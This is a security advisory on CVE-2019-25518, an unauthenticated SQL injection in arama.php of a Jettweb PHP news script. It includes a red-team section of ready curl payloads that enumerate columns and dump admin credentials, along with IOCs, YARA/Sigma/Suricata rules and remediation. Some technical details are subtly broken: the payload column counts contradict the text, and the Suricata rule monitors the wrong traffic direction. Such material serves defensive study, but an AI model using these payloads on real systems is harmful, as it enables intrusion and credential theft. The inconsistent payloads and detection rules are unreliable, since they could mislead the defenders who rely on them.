CVE-2019-25518

Executive Summary

CVE-2019-25518 is a critical unauthenticated SQL injection vulnerability in the Jettweb PHP Hazir Haber Sitesi Scripti V1, a content management system for news websites. The flaw resides in the poll parameter of the arama.php script, allowing remote attackers to inject arbitrary SQL commands without authentication. This enables full database compromise, including extraction of sensitive user data, credential theft, and potential server takeover via stored procedures or file writes. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) due to network exploitability, low attack complexity, and high impact on confidentiality, integrity, and availability. No official patch exists, and the vendor appears defunct, leaving all installations permanently vulnerable.

Supply Chain & Package Security

This vulnerability is not associated with any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, organizations using this script should treat it as a supply chain risk due to the lack of vendor support and the inability to patch.

CVSS Breakdown & Threat Level

• CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Impact confined to vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Data modification or deletion possible.
• Availability Impact: High (A:H) – Potential denial of service via database corruption.

Threat Level: Critical. The vulnerability is trivial to exploit, has public proof-of-concept code, and affects an unpatched, likely abandoned software. Active scanning for vulnerable instances is expected.

Deep Dive & Mechanics

The vulnerability exists in the arama.php script, which handles search functionality. The poll parameter is directly concatenated into SQL queries without sanitization or parameterized queries. The vulnerable code pattern is:

$poll = $_POST['poll'];
$query = "SELECT * FROM anket WHERE anket_id = $poll";
$result = mysqli_query($conn, $query);

An attacker can send a POST request to arama.php with a malicious poll parameter. For example:

POST /arama.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

poll=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--

The number of columns in the UNION SELECT must match the original query. Attackers can use ORDER BY or UNION SELECT NULL techniques to determine the column count. Once the column count is known, they can extract data from other tables (e.g., admin table for credentials).

Vulnerable vs. Patched Code

Vulnerable Code (arama.php):

<?php
include("ayar.php");
$poll = $_POST['poll'];
$query = "SELECT * FROM anket WHERE anket_id = $poll";
$result = mysqli_query($conn, $query);
while($row = mysqli_fetch_assoc($result)) {
    echo $row['anket_soru'];
}
?>

Patched Code (Conceptual – No official patch):

<?php
include("ayar.php");
$poll = intval($_POST['poll']); // Cast to integer
$query = "SELECT * FROM anket WHERE anket_id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $poll);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
while($row = mysqli_fetch_assoc($result)) {
    echo htmlspecialchars($row['anket_soru'], ENT_QUOTES, 'UTF-8');
}
?>

The patched version uses parameterized queries (prepared statements) and input validation (casting to integer). Output encoding is also added to prevent XSS.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Download Jettweb PHP Hazir Haber Sitesi Scripti V1 from a mirror (e.g., exploit-db or archive).
2. Set up a LAMP/LEMP stack (PHP 5.6+ recommended for compatibility).
3. Extract the script to the web root and configure ayar.php with database credentials.
4. Import the provided SQL schema to create the anket table.

Exploitation Steps:

1. Determine Column Count:

   curl -X POST http://target.com/arama.php -d "poll=1 ORDER BY 100--"
   

   Reduce the number until no error occurs. Alternatively, use:

   curl -X POST http://target.com/arama.php -d "poll=1 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--"
   

   Adjust the number of NULLs until the query succeeds.

2. Extract Database Version:

   curl -X POST http://target.com/arama.php -d "poll=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,@@version--"
   

3. Dump Admin Credentials:

   curl -X POST http://target.com/arama.php -d "poll=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,concat_ws(0x3a,username,password) FROM admin--"
   

Blue Team (Defensive)

Detection & Response:

• Monitor for POST requests to arama.php with unusual poll parameters containing SQL keywords (UNION, SELECT, --, NULL, ORDER BY).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Implement database activity monitoring to detect anomalous queries (e.g., UNION SELECT with many columns).
• Use the Sigma and Suricata rules provided in the Detection Engineering section.

Honeypot Strategy:

• Deploy a decoy instance of the vulnerable script and monitor for exploitation attempts. Log all POST data to identify attacker IPs and payloads.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /arama.php with poll parameter containing SQL keywords.
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).
  • HTTP responses containing database error messages (e.g., "You have an error in your SQL syntax").

• File System IOCs:

  • Presence of webshells in the web root (e.g., cmd.php, shell.php).
  • Modified arama.php or other PHP files with backdoor code.
  • Unexpected files in /tmp/ or /var/tmp/ created by the www-data user.

• Database IOCs:

  • New database users with elevated privileges.
  • Unusual queries in the MySQL general log (if enabled).
  • Modified or deleted records in the anket or admin tables.

Detection Engineering

YARA Rule

rule CVE_2019_25518_SQLi_arama_php {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2019-25518 in Jettweb PHP script"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2019-25518"
        severity = "critical"
    strings:
        $s1 = "arama.php" nocase
        $s2 = "poll=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "ORDER BY" nocase
        $s6 = "--" nocase
        $s7 = "NULL" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: CVE-2019-25518 SQL Injection in Jettweb arama.php
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the poll parameter in arama.php
author: Valters IT
date: 2025-04-10
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2019.25518
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/arama.php'
        cs-uri-query|contains: 'poll='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'ORDER BY'
        - '--'
        - 'NULL'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the word "union" in a search query (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25518 SQL Injection in Jettweb arama.php";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/arama.php";
    http_uri;
    content:"poll=";
    http_client_body;
    pcre:"/(UNION|SELECT|ORDER BY|--|NULL)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If the Jettweb script is in use, immediately take it offline or restrict network access to trusted IPs only.
2. Apply virtual patching: Use a WAF (e.g., ModSecurity, Cloudflare) to block requests containing SQL injection patterns in the poll parameter.
3. Database hardening: Ensure the database user used by the application has minimal privileges (e.g., only SELECT on required tables). Revoke FILE, DROP, and CREATE privileges.

Long-Term Remediation:

1. Replace the software: Migrate to a supported, modern CMS (e.g., WordPress, Joomla, or a custom solution with proper security practices).
2. Code review: If migration is not possible, rewrite the vulnerable arama.php script using parameterized queries (PDO or MySQLi prepared statements) and input validation.
3. Regular security audits: Conduct penetration testing and code reviews for any custom or legacy applications.

Compromise Assessment:

• Check web server access logs for POST requests to arama.php with suspicious poll parameters.
• Scan the web root for unauthorized files (webshells).
• Review database logs for unusual queries or data exports.
• Rotate all credentials stored in the database (admin passwords, API keys).

Valters IT – Securing Digital Frontiers